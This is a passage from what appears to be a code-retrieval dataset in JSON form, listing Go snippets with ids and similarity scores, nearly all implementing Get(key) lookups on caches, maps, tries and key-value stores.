cur.findChild(bits.Get(uint(i)))\n\t\tif child == nil {\n\t\t\treturn nil, ErrNotFound\n\t\t}\n\n\t\tcur = child\n\t}\n\n\tif cur.isLeaf() {\n\t\treturn cur.value, nil\n\t}\n\n\treturn nil, ErrNotFound\n}", "title": "" }, { "docid": "1bbe6528582ffa9f7e80fc1b53ed1a7c", "score": "0.7083855", "text": "func (lru *Cache) Get(key Key) *Value {\n\tval, ok := lru.Cache[key]\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn val\n}", "title": "" }, { "docid": "ab39548065d374066e252a14f0b1d273", "score": "0.70774657", "text": "func Get(key string) interface{} { return v.Get(key) }", "title": "" }, { "docid": "ab39548065d374066e252a14f0b1d273", "score": "0.70774657", "text": "func Get(key string) interface{} { return v.Get(key) }", "title": "" }, { "docid": "1e17dcfc9fd137c8e345c5a15e3b711e", "score": "0.70573765", "text": "func (t *trie) Get(key []byte) ([]byte, error) {\n\tt.mutex.RLock()\n\tdefer t.mutex.RUnlock()\n\n\tptr, _, size, err := t.query(key)\n\tif size != len(key) {\n\t\treturn nil, errors.Wrapf(ErrNotExist, \"key = %x\", key)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// retrieve the value from terminal patricia node\n\treturn t.getValue(ptr, key[size-1])\n}", "title": "" }, { "docid": "1fdf2a46e61f5190c1d9e19cf8359080", "score": "0.70468783", "text": "func (m *MemDB) Get(key []byte, o *db.ReadOptions) (value []byte, err error) {\n\tm.mutex.RLock()\n\tdefer m.mutex.RUnlock()\n\tn, exactMatch := m.findNode(key, nil)\n\tvOff := m.nodeData[n+fVal]\n\tif !exactMatch || vOff == kvOffsetDeletedNode {\n\t\treturn nil, db.ErrNotFound\n\t}\n\treturn m.load(vOff), nil\n}", "title": "" }, { "docid": "211466077b17d831194f97f065437692", "score": "0.70380217", "text": "func (d *BTree) Get(key []byte) (interface{}, error) {\n\t/*value, ok := d.Value.Get(key)\n\tif !ok {\n\t\treturn nil, errors.New(\"unable to find element\")\n\t}\n\treturn value, nil*/\n\treturn nil, nil\n}", "title": "" }, { "docid": "77b905afee480e2827d03263b06886f7", "score": "0.7014065", "text": "func (s *OrderedMap) Get(key string) interface{} {\n\tval, ok := s.data[s.normalizeKey(key)]\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn val\n}", "title": "" }, { "docid": "c505ca98b613866f408afee704f77b2b", "score": "0.7013789", "text": "func (m *Map) Get(key interface{}) (value interface{}, found bool) {\n\tm.mu.RLock()\n\tif m.data != nil {\n\t\tvalue, found = m.data[key]\n\t}\n\tm.mu.RUnlock()\n\treturn\n}", "title": "" }, { "docid": "d49c20fd43f5c74172e35d18fe516612", "score": "0.69922674", "text": "func (s *InMemoryStore) Get(key Key) (value Value, err error) {\n\ts.Lock()\n\tdefer s.Unlock()\n\n\tif value, ok := s.pairs[s.key(key)]; ok {\n\t\treturn value, nil\n\t}\n\n\t// result = value\n\treturn nil, ErrKeyNotFound\n}", "title": "" }, { "docid": "f2d3bdf8f3967dc57548f769b18c0ed7", "score": "0.6989911", "text": "func (m *Map) Get(key string) (value interface{}, found bool) {\n\tvar link *Link\n\tlink, found = m.m[key]\n\tif found {\n\t\tvalue = link.value\n\t} else {\n\t\tvalue = nil\n\t}\n\treturn\n}", "title": "" }, { "docid": "01c2c1587a87773dc16ba217da17dbe7", "score": "0.6985847", "text": "func (m *Cache) Get(key string) ([]byte, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\tdefer cancel()\n\n\tfilter := bson.M{m.conf.KeyField: key}\n\tdocument, err := m.collection.FindOne(ctx, filter).DecodeBytes()\n\tif err != nil {\n\t\tm.log.Debugf(\"key not found: %s\", key)\n\t\treturn nil, types.ErrKeyNotFound\n\t}\n\n\tvalue, err := document.LookupErr(m.conf.ValueField)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error getting field from document %s: %v\", m.conf.ValueField, err)\n\t}\n\n\tvalueStr := value.StringValue()\n\n\treturn []byte(valueStr), nil\n}", "title": "" }, { "docid": "d905cbbcdd325b32a0817e6111bc9697", "score": "0.69831276", "text": "func (p *peer) Get(key string) interface{} {\n\tif value, ok := p.kv[key]; ok {\n\t\treturn value\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "86c9e80e6524eca4dc62c2633cea22ae", "score": "0.69785154", "text": "func (s Shard) Get(key string) (value []byte, err error) {\n\tshard := s.GetShard(key)\n\tshard.RLock()\n\tval, ok := shard.data[key]\n\tshard.RUnlock()\n\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"no value found for key '%s'\", key)\n\t}\n\treturn val, nil\n}", "title": "" }, { "docid": "abbfde04d7e1ce1a3c8127444c530da9", "score": "0.6962528", "text": "func (st *SessionStore) Get(ctx context.Context, key interface{}) interface{} {\n\tst.lock.RLock()\n\tdefer st.lock.RUnlock()\n\tif v, ok := st.values[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "7a7c42042ca151d1b9769df5d64a2a1d", "score": "0.69610304", "text": "func (ls *SessionStore) Get(ctx context.Context, key interface{}) interface{} {\n\tls.lock.RLock()\n\tdefer ls.lock.RUnlock()\n\tif v, ok := ls.values[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "46ad16c3f8b0d4ff913623b0a606a00d", "score": "0.6959061", "text": "func Get(key string) (string, error) {\n\n\tval := \"\"\n\tvar err error\n\n\tcache.lock.Lock()\n\te, ok := cache.m[key]\n\tif !ok {\n\t\tcache.lock.Unlock()\n\t\terr = errors.New(\"No such key\")\n\t} else {\n\t\tn := e.Value.(*node)\n\t\tval = n.value\n\t\tcache.dll.MoveToFront(e)\n\t\tcache.lock.Unlock()\n\t\terr = nil\n\t}\n\n\treturn val, err\n}", "title": "" }, { "docid": "17c4c243c6583a593f64e47a50ddabbb", "score": "0.6946609", "text": "func (s *sessionImpl) Get(key string) interface{} {\n\ts.RLock()\n\tdefer s.RUnlock()\n\n\tv, ok := s.data[key]\n\tif !ok {\n\t\treturn nil\n\t}\n\treturn v\n}", "title": "" }, { "docid": "fd935ce51aa7c25b847bf0553bc296c7", "score": "0.6943164", "text": "func (l *List) Get(key interface{}) interface{} {\n\tif key == nil {\n\t\treturn nil\n\t}\n\tcurrent := l.head.next\n\tfor i := 0; i < l.size; i++ {\n\t\tif current.key == key {\n\t\t\treturn current.value\n\t\t}\n\t\tcurrent = current.next\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "61ade2319b3731844e02cd1374d30eb1", "score": "0.6942429", "text": "func (mc *memoryCache) GetValue(key string) (string, error) {\n\tmc.mutex.RLock()\n\tdefer mc.mutex.RUnlock()\n\n\tif elem, ok := mc.lookup[key]; ok {\n\t\tmc.items.MoveToFront(elem)\n\t\treturn elem.Value.(*memoryPair).value, nil\n\t}\n\n\treturn \"\", nil\n}", "title": "" }, { "docid": "8c5e336546f7448896d1b725a493d7e2", "score": "0.6935505", "text": "func Get(c *gin.Context, key string) interface{} {\n\tvalue, exists := c.Get(key)\n\tif !exists {\n\t\treturn nil\n\t}\n\n\treturn value\n}", "title": "" }, { "docid": "f9de3dfe51806bc74521df76a4c06321", "score": "0.69265664", "text": "func (s *SessionStore) Get(key interface{}) interface{} {\n\ts.lock.Lock()\n\tdefer s.lock.Unlock()\n\tif value, ok := s.values[key]; ok {\n\t\treturn value\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "60a6f7c3d559fc606f4255fe3a92ceef", "score": "0.69096386", "text": "func (o *object) Get(key Val) Val {\n\tif v, ok := o.m[key]; ok {\n\t\treturn v\n\t}\n\treturn Nil\n}", "title": "" }, { "docid": "e00ac7e2ba8027ece5b88dc22b3ce5ac", "score": "0.68932295", "text": "func (tree *TST) Get(key string) interface{} {\n\tn := tree.get(tree.root, key, 0)\n\tif n == nil {\n\t\treturn nil\n\t}\n\treturn n.Value // This may also be nil, but it's the var we really want.\n}", "title": "" }, { "docid": "b7611a23a29d3b932df896f2ce88e6e5", "score": "0.68890774", "text": "func Get(key string) interface{} { return d.Get(key) }", "title": "" }, { "docid": "acca058b2c36fac8884cf16cd08bbfcc", "score": "0.68859786", "text": "func (kvs *KeyValueStore) Get(key string) any {\n\tkvs.lock.RLock()\n\tdefer kvs.lock.RUnlock()\n\n\tif key == \"\" {\n\t\treturn kvs.data\n\t}\n\n\treturn kvs.data[key]\n}", "title": "" }, { "docid": "09c2e578499a2abe815ed38e32ecbca7", "score": "0.68852174", "text": "func (t *trie) Get(key string) *data {\n\tn := get(t.root, key, 0)\n\tif n == nil {\n\t\treturn nil\n\t}\n\treturn n.data\n}", "title": "" }, { "docid": "dca02674f8f09d96b23521aa69756361", "score": "0.68770015", "text": "func (m *Map) Get(key interface{}) (value interface{}, found bool) {\n\treturn m.tree.Get(key)\n}", "title": "" }, { "docid": "4d2af8258d2ef560fb515fd530b82dec", "score": "0.685243", "text": "func (c *Cache) Get(key interface{}) interface{} {\n\tv, _ := c.container.Get(key)\n\tif v == nil {\n\t\treturn nil\n\t}\n\treturn v.(*cacheValue).value\n}", "title": "" }, { "docid": "46b60a726916b62193e389a4dac18025", "score": "0.6842681", "text": "func (f *fileRepo) Get(key string) (string, error) {\n\tscanner := bufio.NewScanner(f.file)\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tstrings := strings.Split(line, \" | \")\n\t\tif key == strings[0] {\n\t\t\treturn strings[1], nil\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"No value found\")\n}", "title": "" }, { "docid": "6c8907eae4b3b11436439b844d7566fb", "score": "0.68366027", "text": "func (s *Store) Get(key string) (string, error) {\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\tif val, ok := s.m[key]; ok {\n\t\treturn val, nil\n\t}\n\treturn \"\", nil\n}", "title": "" }, { "docid": "92d4c8d67800d1faef90e9a8e00cf508", "score": "0.6832732", "text": "func (c *Cache) Get(key interface{}) interface{} {\n\tc.config.Locker.Lock()\n\tdefer c.config.Locker.Unlock()\n\n\tif e := c.cache[key]; e != nil {\n\t\tc.lru.MoveToFront(e)\n\t\treturn e.Value.(*pair).v\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d9a889a97b1aaffa778856259eec9374", "score": "0.6827678", "text": "func (c *vbag) Get(key interface{}) (value interface{}) {\n\titem, _ := c.get(key)\n\treturn item\n}", "title": "" }, { "docid": "60a3f19144f81abd76b5fb0dd8464698", "score": "0.6810243", "text": "func (c *Config) Get(key string) interface{} {\n\tc.mu.RLock()\n\tdefer c.mu.RUnlock()\n\n\treturn c.find(key)\n}", "title": "" }, { "docid": "fb513eeab97d83eaa1576b474a6b380c", "score": "0.68034244", "text": "func (l *LRUCache) Get(key string) (interface{}, bool) {\n\tv, ok := l.m[key]\n\n\tif ok {\n\t\treturn v.(*node).value, ok\n\t} else {\n\t\treturn nil, false\n\t}\n}", "title": "" }, { "docid": "6b2545960be97f9794a4b3d04ba1b481", "score": "0.6801068", "text": "func (b BTree) Get(key string) (string, bool) {\n\tnode := NodeImpl{\n\t\tKey: hashKey(key),\n\t}\n\tn := b.btree.Get(node)\n\n\t// not found\n\tif n == nil {\n\t\treturn \"NULL\", false\n\t}\n\tout, ok := n.(Node)\n\tif ok == false {\n\t\tlog.Fatal(\"tree item is not a Node\")\n\t}\n\treturn out.GetValue(), true\n}", "title": "" }, { "docid": "70c9c7fe24790ac7b23297054f699228", "score": "0.6791368", "text": "func (s *MemoryStore) Get(key []byte) ([]byte, error) {\n\ts.mut.RLock()\n\tdefer s.mut.RUnlock()\n\tif val, ok := s.mem[string(key)]; ok {\n\t\treturn val, nil\n\t}\n\treturn nil, ErrKeyNotFound\n}", "title": "" }, { "docid": "731d05395e0f367d517285c68409796b", "score": "0.6789066", "text": "func (b *BinarySearchTree) Get(key Key) Value {\n\treturn get(b.root, key, b.compare)\n}", "title": "" }, { "docid": "f00af04cc5f14423d6556f1ec2ada127", "score": "0.6782366", "text": "func (tree *BSTree[K, V]) Get(key K) (V, bool) {\n\treturn get(tree.Root, key)\n}", "title": "" }, { "docid": "e64e0044846cd084455551378dda2519", "score": "0.6782273", "text": "func (db *DB) Get(key Key, v interface{}) (noExist bool) {\n\treturn db.parse(key.bytes(), v)\n}", "title": "" }, { "docid": "3cb1098fc416d01a30fd0f36b7fe2551", "score": "0.6777278", "text": "func (c *vbag) get(key interface{}) (value interface{}, found bool) {\n\tc.ml.RLock()\n\tdefer c.ml.RUnlock()\n\n\titem, ok := c.fields[key]\n\treturn item, ok\n}", "title": "" }, { "docid": "1bb03b6d8d9d79fa6e210cee4d8a9524", "score": "0.67724484", "text": "func (h *HashMap) Get(key utils.Key) utils.Value {\n\tindex := utils.Hash(key, h.size)\n\n\treturn *h.list[index].find(key)\n}", "title": "" }, { "docid": "932897ec1c3599d7699ca4371b4519b5", "score": "0.6768852", "text": "func (sc *standardCache) Get(key string) (value interface{}, found bool) {\n\tsc.lock.RLock()\n\tdefer sc.lock.RUnlock()\n\n\treturn sc.get(key)\n}", "title": "" }, { "docid": "d9ca11d41f4866d6d4e8d3c216dd380e", "score": "0.67625135", "text": "func (s *dbstore) Get(key string) (*api.Value, error) {\n\tdata, err := s.fetchData(s.db, key)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"Failed to load key [%s] from db\", key)\n\t}\n\treturn data, nil\n}", "title": "" }, { "docid": "fb498210ae481a8fbf814ab22b4e0fbf", "score": "0.67605686", "text": "func (n *node) get(key store.Element) store.Element {\n\ti, found := n.elements.find(key)\n\tif found {\n\t\treturn n.elements[i]\n\t} else if len(n.children) > 0 {\n\t\treturn n.children[i].get(key)\n\t}\n\treturn store.Nil\n}", "title": "" }, { "docid": "82d89161781f4fa83871abc4fae33180", "score": "0.67561054", "text": "func (trie *Trie) Get(key string) interface{} {\n\tnode := trie.root\n\tfor _, r := range(key) {\n\t\tnext, ok := node.table[r]\n\t\tif !ok {\n\t\t\treturn nil\n\t\t}\n\t\tnode = next\n\t}\n\treturn node.value\n}", "title": "" }, { "docid": "0afc25b49c216012152eb487598417ff", "score": "0.6753277", "text": "func (f *Factory) Get(ctx context.Context, key interface{}) (interface{}, bool) {\n\tvl, ok := f.GetValue(ctx, key)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\treturn vl.Get(ctx)\n}", "title": "" }, { "docid": "098e52f5248eb1def0c2b3cf64bef0be", "score": "0.6746262", "text": "func (m *Map) Get(key interface{}) (value interface{}, found bool) {\n\tvalue, found = m.m[key]\n\treturn\n}", "title": "" }, { "docid": "ebd29e9c68fa0af0b0764fd056fce1be", "score": "0.6745004", "text": "func (m *MemStore) Get(k string) ([]byte, error) {\n\tm.mux.RLock()\n\tdefer m.mux.RUnlock()\n\n\tv, exists := m.db[k]\n\tif !exists {\n\t\treturn nil, storage.ErrValueNotFound\n\t}\n\n\treturn v, nil\n}", "title": "" }, { "docid": "8441c8de7b12c32a8091ab90cfcd9320", "score": "0.6742723", "text": "func (h *kvHandler) Get(ctx thrift.Context, key string) (string, error) {\n\tif err := isValidKey(key); err != nil {\n\t\treturn \"\", err\n\t}\n\n\th.RLock()\n\tdefer h.RUnlock()\n\n\tif val, ok := h.vals[key]; ok {\n\t\treturn val, nil\n\t}\n\n\treturn \"\", &keyvalue.KeyNotFound{Key: key}\n}", "title": "" }, { "docid": "9a837c8f5677570bf1feaf1b4339f8fa", "score": "0.6737328", "text": "func (p *Cache) Get(key string) ([]byte, error) {\n\t// Get Values\n\tb, ok := p.Values[key]\n\tif !ok {\n\t\treturn nil, customErrors.TemporaryError{fmt.Sprintf(\"Error while getting %v\", key)}\n\t}\n\n\treturn b, nil\n}", "title": "" }, { "docid": "b58cffb455160f3ed0ffb15e95d97d75", "score": "0.67306113", "text": "func (s *Store) Get(key string) (string, error) {\n\ts.mu.RLock()\n\tdefer s.mu.RUnlock()\n\treturn s.m[key], nil\n}", "title": "" }, { "docid": "85ba08ed2dda47f8c3bf9402258890c1", "score": "0.6728946", "text": "func (p *Pair) Get(key interface{}) (interface{}, bool) {\n\tif p == nil {\n\t\treturn nil, false\n\t}\n\n\tif p.key == key {\n\t\treturn p.value, true\n\t}\n\n\tif p.prev == nil {\n\t\treturn nil, false\n\t}\n\n\treturn p.prev.Get(key)\n}", "title": "" }, { "docid": "a2351f0dcfb9abe2d2ea2a68b1f139de", "score": "0.67278147", "text": "func (c *TTL) Get(key uint64) (interface{}, bool) {\n\tc.RLock()\n\tdefer c.RUnlock()\n\n\titem, ok := c.items[key]\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\tif item.expire.Before(time.Now()) {\n\t\treturn nil, false\n\t}\n\n\treturn item.value, true\n}", "title": "" }, { "docid": "7adec412c5d6c778b5b6ce066477b627", "score": "0.6717947", "text": "func (ss *SessionStore) Get(key string) (interface{}, error) {\n\tif v, ok := ss.m[key]; ok {\n\t\treturn v, nil\n\t}\n\treturn nil, errors.New(\"No value is found\")\n}", "title": "" }, { "docid": "9ce8afe5a7290436c9f021baa789d2af", "score": "0.67168444", "text": "func (k *KVStore) Get(key string) (*KVEntry, error) {\n\tk.Lock()\n\tvalue, ok := k.memtable[key]\n\tk.Unlock()\n\n\tif !ok || value.Exist == 0 {\n\t\treturn nil, errors.New(\"key not found\")\n\t}\n\treturn value, nil\n}", "title": "" }, { "docid": "c0b576d276486840e1fca4efd221d5b2", "score": "0.6716453", "text": "func (v *Vault) Get(key string) (string, error) {\n\tv.mutex.Lock()\n\tdefer v.mutex.Unlock()\n\terr := v.getKeyValues()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tvalue, ok := v.keyValues[key]\n\tif !ok {\n\t\treturn \"\", errors.New(\"no key value found\")\n\t}\n\treturn value, nil\n}", "title": "" }, { "docid": "d23218ed6dcdc942d2c91e3deb850b91", "score": "0.6715975", "text": "func (m *MultiMap) Get(key interface{}) (value interface{}, found bool) {\n\treturn m.tree.Get(key)\n}", "title": "" }, { "docid": "5dda452653dc121797267d25225dc19e", "score": "0.6711835", "text": "func (m *MemoryStorage) Get(key string) (*Value, error) {\n\tval, ok := m.data[key]\n\tif !ok {\n\t\treturn nil, nil\n\t}\n\treturn &val, nil\n}", "title": "" }, { "docid": "b854088e9aa3b80e7dc08739442fccfd", "score": "0.6709202", "text": "func (l *linkedHashMap) Get(key interface{}) interface{} {\n\thash := l.hash(key)\n\tif _, ok := l.table[hash]; !ok {\n\t\treturn nil\n\t}\n\n\ttmp := l.table[hash]\n\tfor tmp != nil {\n\t\tif tmp.key == key {\n\t\t\treturn tmp.value\n\t\t}\n\t\ttmp = tmp.after\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "cd0da5a3eebdf3835a2ff79688408f58", "score": "0.67086416", "text": "func (m *InMemoryStore) Get(key string) (interface{}, error) {\n\tm.mutex.Lock()\n\tdefer m.mutex.Unlock()\n\tvalue, ok := m.data[key]\n\tif !ok {\n\t\treturn nil, ErrNotFound\n\t}\n\n\treturn value, nil\n}", "title": "" }, { "docid": "1d520b0497c6bbaded1e28e34a8d7776", "score": "0.6707053", "text": "func (m Map) Get(key string) interface{} {\n\tif key == \"\" {\n\t\treturn nil\n\t}\n\treturn m.GetPath(strings.Split(key, \".\"))\n}", "title": "" }, { "docid": "1d520b0497c6bbaded1e28e34a8d7776", "score": "0.6707053", "text": "func (m Map) Get(key string) interface{} {\n\tif key == \"\" {\n\t\treturn nil\n\t}\n\treturn m.GetPath(strings.Split(key, \".\"))\n}", "title": "" }, { "docid": "9138995d3cd83fc661def1152fa844fe", "score": "0.6702234", "text": "func (b *basicBucket) Get(key string) interface{} {\n\tfor i, k := range b.keys {\n\t\tif key == k {\n\t\t\treturn b.vals[i]\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "885e88d9614cec14e2cf8170f5d29bf2", "score": "0.67000496", "text": "func (m *InMemory) Get(key string) (string, bool) {\n\tm.mu.RLock() // use R lock for reading, so others can also read.\n\tdefer m.mu.RUnlock()\n\tval, ok := m.db[key]\n\tif !ok {\n\t\treturn \"\", false\n\t}\n\treturn val, ok\n}", "title": "" }, { "docid": "ec2c0491246bbeeec8951575d9eb48cb", "score": "0.66985494", "text": "func (db *Database) Get(key []byte) ([]byte, error) {\n\treturn nil, nil\n}", "title": "" }, { "docid": "c2fba34f19d7db274e200fdf251be32c", "score": "0.66943485", "text": "func (c *Cache) Get(key string) (Value, bool) {\n\tif ele, ok := c.cache[key]; ok {\n\t\tc.ll.MoveToFront(ele)\n\t\tkv := ele.Value.(*entry)\n\t\treturn kv.value, true\n\t}\n\treturn nil, false\n}", "title": "" }, { "docid": "307ceeed29762b3c37a10a3bc2a82f32", "score": "0.669192", "text": "func (m *mappedLoader) Get(key string) ([]byte, error) {\n\tm.dataLock.RLock()\n\tdefer m.dataLock.RUnlock()\n\n\tif ret, ok := m.data[key]; ok {\n\t\treturn ret, nil\n\t}\n\treturn nil, fmt.Errorf(\"Could not find value for key: %s\", key)\n}", "title": "" }, { "docid": "af69bc38166bb81e677e6f3c9ec982ba", "score": "0.6690429", "text": "func (s *SafeMap) Get(key string) (interface{}, bool) {\n\treturn get(s.c, key)\n}", "title": "" }, { "docid": "33925c78290802a5b26cf78ba2bd35b3", "score": "0.6686508", "text": "func (c *Cache) Get(key string) interface{} {\n\td, _ := c.lookup(key)\n\treturn d\n}", "title": "" }, { "docid": "a82376322495203591e6eecd15400f77", "score": "0.66858697", "text": "func (y yamlConfigProvider) Get(key string) Value {\n\t// check the cache for the value\n\tif node, ok := y.vCache[key]; ok {\n\t\treturn node\n\t}\n\n\tnode := y.getNode(key)\n\tif node == nil {\n\t\treturn NewValue(y, key, nil, false, Invalid, nil)\n\t}\n\n\t// cache the found value\n\tvalue := NewValue(y, key, node.value, true, GetType(node.value), nil)\n\ty.vCache[key] = value\n\n\treturn value\n}", "title": "" }, { "docid": "86e59388026fb77b0c58b863185f5f38", "score": "0.6681715", "text": "func (s *storage) Get(key []byte) (value []byte, err error) {\n\terr = s.View(func(txn *badger.Txn) error {\n\t\tvar item *badger.Item\n\t\titem, err = txn.Get(key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\treturn item.Value(func(val []byte) error {\n\t\t\tvalue = val\n\t\t\treturn nil\n\t\t})\n\t})\n\n\treturn\n}", "title": "" }, { "docid": "2218c5c0095cd9b32fabd7077e9586a0", "score": "0.66751236", "text": "func (t *btree) Get(key []byte) []byte {\n\tn := findLeaf(t.root, key)\n\tif n == nil {\n\t\treturn zero\n\t}\n\tvar i int\n\tfor i = 0; i < n.numk; i++ {\n\t\tif bytes.Compare(n.keys[i], key) == 0 {\n\t\t\tbreak\n\t\t}\n\t}\n\tif i == n.numk {\n\t\treturn zero\n\t}\n\t//asRecord(n.ptrs[i])\n\treturn n.ptrs[i].(*record).val\n}", "title": "" }, { "docid": "6e473d432276348533c9e371dcc4c307", "score": "0.667027", "text": "func (kv *KeyValue) Get(key string) (string, error) {\n\tvar val string\n\tif kv.name == nil {\n\t\treturn \"\", ErrDoesNotExist\n\t}\n\terr := (*bbolt.DB)(kv.db).View(func(tx *bbolt.Tx) error {\n\t\tbucket := tx.Bucket(kv.name)\n\t\tif bucket == nil {\n\t\t\treturn ErrBucketNotFound\n\t\t}\n\t\tbyteval := bucket.Get([]byte(key))\n\t\tif byteval == nil {\n\t\t\treturn ErrKeyNotFound\n\t\t}\n\t\tval = string(byteval)\n\t\treturn nil // Return from View function\n\t})\n\treturn val, err\n}", "title": "" }, { "docid": "6003c135c1b2c447f44cc187a5f36736", "score": "0.6669446", "text": "func (r *Registry) Get(key interface{}) (interface{}, bool) {\n\t// Read lock since we're just doing a get,\n\t// so no reason to block other readers\n\tr.Mutex.RLock()\n\tdefer r.Mutex.RUnlock()\n\n\tif val, ok := r.Data[key]; ok {\n\t\treturn val, true\n\t}\n\n\treturn nil, false\n}", "title": "" }, { "docid": "88f84c9d9b156968fcc7a5ca9aca89f6", "score": "0.6665024", "text": "func (tag Tag) Get(key string) string {\n\tvalue, _ := tag.Lookup(key)\n\treturn value\n}", "title": "" }, { "docid": "78b43ae3b542fb79175db1e766621a6e", "score": "0.6664549", "text": "func (c *Cache) Get(key Key) (value interface{}, ok bool) {\n\tif c.cache == nil {\n\t\treturn\n\t}\n\tif ele, hit := c.cache[key]; hit {\n\t\tc.ll.MoveToFront(ele)\n\t\treturn ele.Value.(*entry).value, true\n\t}\n\treturn\n}", "title": "" }, { "docid": "ac2603bd9345000e799baaf325b063c2", "score": "0.66549546", "text": "func (s *Store) Get(_ context.Context, key string) ([]byte, error) {\n\ts.μ.Lock()\n\tdefer s.μ.Unlock()\n\n\tif v, ok := s.m[key]; ok {\n\t\treturn []byte(v), nil\n\t}\n\treturn nil, blob.KeyNotFound(key)\n}", "title": "" }, { "docid": "8858409827d4c2dbd8bc083a9cf42ad8", "score": "0.6654076", "text": "func (s Secret) Get(key string) interface{} {\n\tif val, exists := s[key]; exists {\n\t\treturn val\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "2c96ffeeaea82fa345c7250e5339fbbf", "score": "0.66535425", "text": "func (s *store) Get(k []byte) ([]byte, error) {\n\tvar item badger.KVItem\n\tif err := s.kv.Get(k, &item); err != nil {\n\t\treturn nil, err\n\t} else if item.Value() == nil {\n\t\treturn nil, ErrKeyNotFound\n\t}\n\treturn item.Value(), nil\n}", "title": "" }, { "docid": "596a83b2f9941ea7fbf06d0bbe6a0dc9", "score": "0.6651845", "text": "func (trie *Trie) Get(key []byte) (interface{}, bool) {\n\tif trie == nil || trie.root == nil {\n\t\treturn nil, false\n\t}\n\tcurrent := trie.root\n\tfor _, b := range key {\n\t\tchild, ok := current.children[b]\n\t\tif !ok {\n\t\t\treturn nil, false\n\t\t}\n\t\tcurrent = child\n\t}\n\treturn current.value, current.hasValue\n}", "title": "" }, { "docid": "326772422220862ad335cca12200ec1d", "score": "0.6649474", "text": "func (sess *HttpSession) Get(key string) interface{} {\n\tvalue, has := sess.values[key]\n\tif !has {\n\t\treturn nil\n\t}\n\treturn value\n}", "title": "" }, { "docid": "19d8201ddb7922416b40eac285901864", "score": "0.6646891", "text": "func (t *TNode) Get(key []byte) (interface{}, bool) {\n\ty := t\n\te := newEntry(key, nil)\n\n\t// if this part of the hash exists here, go deeper\n\ty = y.children[e.indexAtDepth(y.depth)]\n\tfor y != nil {\n\n\t\t// go through the list of elements to check to see if it is in here\n\t\tfor _, v := range y.vals {\n\t\t\tif v.sameKey(e) {\n\t\t\t\treturn v.value, true\n\t\t\t}\n\t\t}\n\n\t\ty = y.children[e.indexAtDepth(y.depth)]\n\n\t}\n\n\t// nothing was found\n\treturn nil, false\n}", "title": "" }, { "docid": "1abdb9a4e7c48cc99579341483785cd5", "score": "0.6646385", "text": "func (m Map) Get(key interface{}) (interface{}, bool) {\n\tif m.capacity == 0 {\n\t\treturn nil, false\n\t}\n\n\thash := hashValue(key)\n\n\tb := &m.root\n\tfor level := uint32(0); level < levels; level++ {\n\t\tbucketIndex := hash % bucketCount\n\t\tnext := b.buckets[bucketIndex]\n\t\tif next == nil {\n\t\t\treturn nil, false\n\t\t}\n\t\tb = next\n\t\thash /= bucketCount\n\t}\n\n\tif len(b.values) == 0 {\n\t\treturn nil, false\n\t}\n\n\tvalueIndex := hash % uint32(len(b.values))\n\tlist := b.values[valueIndex]\n\n\tfor _, e := range list {\n\t\tif e.key == key {\n\t\t\treturn e.value, true\n\t\t}\n\t}\n\n\treturn nil, false\n}", "title": "" }, { "docid": "275c87b4203ee63659094fd68815a2a6", "score": "0.6643244", "text": "func (kv *KV) Get(key []byte) (value []byte) {\n\tvalue, _ = kv.db.Get(key, nil)\n\treturn\n}", "title": "" }, { "docid": "86c5b119edbe5d364256a0fa40a21dad", "score": "0.6641389", "text": "func (s *Store) Get(key []byte) ([]byte, error) {\n\tkh := hashKey(key)\n\ts.containersRWMutex.RLock()\n\tc, ok := s.containers[kh]\n\tif ok {\n\t\tif c.isDeleted() {\n\t\t\ts.containersRWMutex.RUnlock()\n\t\t\treturn nil, nil\n\t\t}\n\t\tvalue := c.value\n\t\ts.containersRWMutex.RUnlock()\n\t\treturn value, nil\n\t}\n\ts.containersRWMutex.RUnlock()\n\treturn nil, nil\n}", "title": "" }, { "docid": "eee6c18b8492526506dae2fc90d73002", "score": "0.6635773", "text": "func (c *Cache) Get(key string) (value Value, ok bool) {\n\tif ele, ok := c.cache[key]; ok {\n\t\tc.ll.MoveToFront(ele)\n\t\tkv := ele.Value.(*entry)\n\t\treturn kv.value, true\n\t}\n\treturn\n}", "title": "" }, { "docid": "bc01c8f4ab8c1c91edc60b74e3556869", "score": "0.6626558", "text": "func (db *cacheDB) Get(key []byte) (value []byte, incache bool, err error) {\n\tif db.data == nil {\n\t\treturn nil, false, types.ErrNotFound\n\t}\n\tv, ok := db.data[string(key)]\n\tif ok && v != nil {\n\t\treturn v, true, nil\n\t}\n\treturn nil, ok, types.ErrNotFound\n}", "title": "" }, { "docid": "707a9c121ad31e2c8c1d55f2f2aee1ff", "score": "0.6626382", "text": "func (m HamtMap) Get(k Entry) interface{} {\n\tres := m.myMap.Find(k.(hamt.Entry))\n\tif res == nil {\n\t\treturn EntryNone{}\n\t}\n\treturn res\n}", "title": "" }, { "docid": "5ac29f7aba130afa1ace0c54534a6f12", "score": "0.6624961", "text": "func (d *Dict) Get(key []byte) (interface{}, error) {\n\tvalue := d.engine.Get(key)\n\tif value == nil {\n\t\treturn nil, errors.New(\"unable to find element\")\n\t}\n\treturn value, nil\n}", "title": "" }, { "docid": "b4ec48bf996a5f449bcee53173c9cc9c", "score": "0.6622452", "text": "func (f *file) Get(key string) *Value {\n\treturn f.values.Get(key)\n}", "title": "" } ]
